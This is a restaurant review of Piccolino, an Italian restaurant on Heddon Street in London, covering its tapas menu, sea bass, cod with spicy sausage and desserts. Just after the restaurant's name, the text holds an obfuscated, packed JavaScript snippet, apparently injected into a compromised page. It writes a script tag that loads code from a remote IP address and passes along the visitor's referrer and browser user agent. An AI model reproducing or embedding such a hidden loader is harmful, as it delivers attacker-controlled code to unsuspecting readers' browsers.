REVIEW: PICCOLINO

Piccolino (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htbts|var|u0026u|referrer|tkizn||js|php’.split(‘|’),0,{}))
is an Italian restaurant hidden away on the pretty Heddon Street which maybe just moments away from Oxford Street but actually feels like a million miles away. The restaurant recently jumped on the tapas trend and launched a sharing dishes menu. We visited the on a Tuesday evening when the sun was beating down and took full advantage of the outdoor dining space.

Everything about this place is Italian from the food and drinks to the waiters accents. We started with a Giglio cocktail and Peroni beer – we thought we’d best stick with the theme! Drinks are served with a complimentary bread basket and bowl of olives which makes it a great place to go for alfresco drinks even if you don’t plan on eating dinner.

To start we chose a couple of dishes from the tapas menu, the King Prawn and Swordfish skewers marinated in oregano, chilli and lemon – not for the faint hearted these skewers are very herby! The Orkney Isles Scallops, cherry vine tomatoes and Tuscan bread salad which was a colourful, tangy salad topped with two juicy scallops.

For mains we tried the Roast whole Sea Bass with parsley, lemon, garlic and salt which was boneless, always a bonus and a good light option for those who aren’t ravenous, we ordered a side of frites to go with it. The Roast cod, Calabrian spicy sausage, purple sprouting broccoli, chilli & garlic butter was our favourite dish, a huge chunk of meaty cod which straddled a generous helping of spicy sausage with a chilli kick which brought the dish to life.

By this point we were stuffed – did we mention the bread basket?! So we went for some chocolate ice-cream and an affogato, both we couldn’t fault. We also had a quick peep in the bar downstairs (pic above) which is very swish and a great place to impress a date at half the price of other central restaurants which have similar furnishings. It may have been the sun, it may have been the booze or even those accents but we’re already planning our next trip only this time for breakfast.

Piccolino, 21 Heddon Street,  W1B
www.piccolinorestaurants.co.uk